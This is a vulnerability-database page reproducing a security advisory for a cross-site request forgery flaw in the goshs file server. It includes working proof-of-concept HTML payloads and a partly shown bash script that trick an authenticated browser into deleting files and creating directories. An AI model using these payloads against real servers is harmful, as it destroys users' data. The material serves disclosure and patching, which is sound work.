🛡️ CVE-2026-40883 — goshs

🟠 CVSS 8.1 — High ✅ No Known Exploit NVD
8.1
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

goshs has CSRF in state-changing GET routes enables authenticated file deletion and directory creation

Summary

goshs contains a cross-site request forgery issue in its state-changing HTTP GET routes. An external attacker can cause an already authenticated browser to trigger destructive actions such as ?delete and ?mkdir because goshs relies on HTTP basic auth alone and performs no CSRF, Origin, or Referer validation for those routes. I reproduced this on v2.0.0-beta.5.

Details

The vulnerable request handling is reachable through normal GET requests:

  • httpserver/handler.go:118-123 dispatches ?mkdir directly to handleMkdir()
  • httpserver/handler.go:180-186 dispatches ?delete directly to deleteFile()

Authentication is enforced only by HTTP basic auth:

  • httpserver/middleware.go:20-87 accepts any request that presents valid cached or replayed basic-auth credentials

The resulting state changes hit filesystem mutation sinks:

  • httpserver/handler.go:683-718 calls os.RemoveAll() in deleteFile()
  • httpserver/handler.go:961-1000 calls os.MkdirAll() in handleMkdir()

Because browsers can replay HTTP basic-auth credentials on subresource requests, an attacker-controlled page can embed:

  • <img src="http://127.0.0.1:18095/victim.txt?delete">
  • <img src="http://127.0.0.1:18095/csrfmade?mkdir">

If the victim has already authenticated to goshs, those requests are treated as legitimate authenticated actions and the server mutates the filesystem.

PoC

Manual verification commands used:

Terminal 1

```bash

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'

go build -o /tmp/goshs_beta5 ./

rm -rf /tmp/goshs_csrf_root /tmp/goshs_csrf_site

mkdir -p /tmp/goshs_csrf_root /tmp/goshs_csrf_site

printf 'delete me\n' > /tmp/goshs_csrf_root/victim.txt

cat > /tmp/goshs_csrf_site/delete.html <<'HTML'

<!doctype html>

<html>

<body>

<img src="http://127.0.0.1:18095/victim.txt?delete">

</body>

</html>

HTML

cat > /tmp/goshs_csrf_site/mkdir.html <<'HTML'

<!doctype html>

<html>

<body>

<img src="http://127.0.0.1:18095/csrfmade?mkdir">

</body>

</html>

HTML

/tmp/goshs_beta5 -d /tmp/goshs_csrf_root -p 18095 -b 'u:p'

```

Terminal 2

```bash

python3 -m http.server 18889 --directory /tmp/goshs_csrf_site

```

Victim actions:

1. Open http://127.0.0.1:18095/ in a browser and authenticate with u:p.

2. Visit http://127.0.0.1:18889/delete.html.

3. Visit http://127.0.0.1:18889/mkdir.html.

Two terminal commands I ran during local validation:

```bash

test -e /tmp/goshs_csrf_root/victim.txt && echo EXISTS || echo DELETED

test -d /tmp/goshs_csrf_root/csrfmade && echo CREATED || echo MISSING

```

Expected result:

  • the first check prints DELETED
  • the second check prints CREATED

PoC Video 1:

https://github.com/user-attachments/assets/94b78934-0a70-479f-9b89-43a859939473

Single-script verification:

```bash

'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc3'

```

Observed script result:

  • Delete status: DELETED
  • mkdir status: CREATED
  • [RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET

PoC Video 2:

https://github.com/user-attachments/assets/1143e039-81e4-4476-a1c3-f81ae46c9ede

gosh_poc3 script content:

```bash

#!/usr/bin/env bash

set -euo pipefail

REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'

PLAY_DIR='/tmp/codex-playwright'

BIN='/tmp/goshs_beta5_csrf'

PORT='18095'

ATTACKER_PORT='18889'

CHROME='/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'

WORKDIR="$(mktemp -d /tmp/goshs-csrf-beta5-XXXXXX)"

ROOT="$WORKDIR/root"

SITE="$WORKDIR/site"

GOSHS_PID=""

ATTACKER_PID=""

cleanup() {

if [[ -n "${ATTACKER_PID:-}" ]]; then

kill "${ATTACKER_PID}" >/dev/null 2>&1 || true

fi

if [[ -n "${GOSHS_PID:-}" ]]; then

kill "${GOSHS_PID}" >/dev/null 2>&1 || true

fi

}

trap cleanup EXIT

mkdir -p "$ROOT" "$SITE"

printf 'delete me\n' > "$ROOT/victim.txt"

cat > "$SITE/delete.html" <<HTML

<!doctype html>

<html>

<body>

<img src="http://127.0.0.1:${PORT}/victim.txt?delete">

</body>

</html>

HTML

cat > "$SITE/mkdir.html" <<HTML

<!doctype html>

<html>

<body>

<img src="http://127.0.0.1:${PORT}/csrfmade?mkdir">

</body>

</html>

HTML

echo "[1/6] Building goshs beta.5"

(cd "$REPO" && go build -o "$BIN" ./)

echo "[2/6] Starting goshs with HTTP basic auth"

"$BIN" -d "$ROOT" -p "$PORT" -b 'u:p' >"$WORKDIR/goshs.log" 2>&1 &

GOSHS_PID=$!

for _ in $(seq 1 40); do

if curl -s -u u:p "http://127.0.0.1:${PORT}/" >/dev/null 2>&1; then

break

fi

sleep 0.25

done

echo "[3/6] Serving attacker pages"

python3 -m http.server "$ATTACKER_PORT" --directory "$SITE" >"$WORKDIR/attacker.log" 2>&1 &

ATTACKER_PID=$!

if [[ ! -d "$PLAY_DIR/node_modules/playwright-core" ]]; then

mkdir -p "$PLAY_DIR"

(cd "$PLAY_DIR" && npm install --no-save playwright-core >/dev/null)

fi

if [[ ! -x "$CHROME" ]]; then

echo "[ERROR] Chrome not found at $CHROME" >&2

exit 1

fi

echo "[4/6

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability high.

Affected software

CVE-2026-40883 is recorded against 3 packages.

  • github.com/patrickhener/goshs
  • github.com/patrickhener/goshs/v2
  • goshs

Timeline and source

Published on 25 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Advisory)
nvd.nist.gov (Advisory)

Details

Severity High
CVSS Score 8.1
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
CWE N/A
Public Exploit ✅ No
Source NVD
Published 2026-06-25
Updated 2026-08-12
Modified 2026-06-25
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/patrickhener/goshs
github.com/patrickhener/goshs/v2
goshs

Similar Threats

Site Security Check

Is goshs part of your stack?

CVE-2026-40883 is rated CVSS 8.1 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.